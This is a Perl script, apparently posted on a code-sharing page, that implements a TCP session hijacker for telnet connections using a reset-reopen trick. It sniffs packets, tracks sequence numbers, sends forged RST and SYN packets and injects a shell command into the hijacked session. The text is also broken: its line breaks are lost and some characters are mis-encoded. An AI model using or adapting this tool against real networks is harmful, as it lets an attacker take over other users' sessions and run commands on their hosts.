📄 resetreopen.pl
字号:
#!/usr/bin/perl# Einfacher TCP-Hijacker# (Reset-Reopen-Variante)# ToDo# ----# - Fehler bei Connection-Detection (bei sich neuaufbauenden Connections# - z.Zt. nur Telnet-Sessions angreifbar# - telnet authentifizierung implementieren## Autor: stefan@krecher.de# TheMidget## Lizenz: GPLuse Net::PcapUtils;use NetPacket::Ethernet qw(:strip);use NetPacket::IP qw(:strip);use NetPacket::TCP;use Connection;$device = "eth0"; # Netzwerkdevice$connection;$hackstring = "echo hijacked via Rst-Reopen > hacked.txt\n";$clientMessage = "\nYou've been hacked by TheMidget\n";sub process_pkt { my($arg, $hdr, $pkt) = @_; my $ip_obj = NetPacket::IP->decode(eth_strip($pkt)); # Es ist noch keine Verbindung erfasst if (!($connection)) { $connection = Connection->new($ip_obj); } # Daten sammeln ... if ( (!($connection->isHijackable())) && (!($connection->isRstSynSent())) ) { if (($connection->check($ip_obj)) == 1) { # Paket "matcht" $connection->updateWith($ip_obj); # Sequenznummern updaten } } # Wenn RST-SYN verschickt wurde, auf SYN des Servers pr黤en if (($connection->isRstSynSent) && (!($connection->isHijacked()))){ if ($connection->reactOnServerSyn($ip_obj)) { $connection->infiltrate($hackstring); $connection->setIsHijacked(); } } if ($connection->isHijacked()) { sleep 5; # Wartet noch 5 Sekunden (damit auch wirklich alles ankommt)# $connection->resetRST(); exit (0); } if ( $connection->isHijackable() && (!($connection->isHijacked)) && (!($connection->isRstSynSent())) ) { print "Schicke RST + SYN ...\n"; print "\nKabel ziehen und Enter dr點ken ...\n"; $dummy = <STDIN>; $connection->setRstSynSent(); $connection->rstSyn();# $connection->infiltrate($hackstring);# $connection->noticeClient($clientMessage);# $connection->setIsHijacked(); }print $connection->asString(); print "\n";}Net::PcapUtils::loop(\&process_pkt, FILTER => 'tcp', DEV => $device );
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -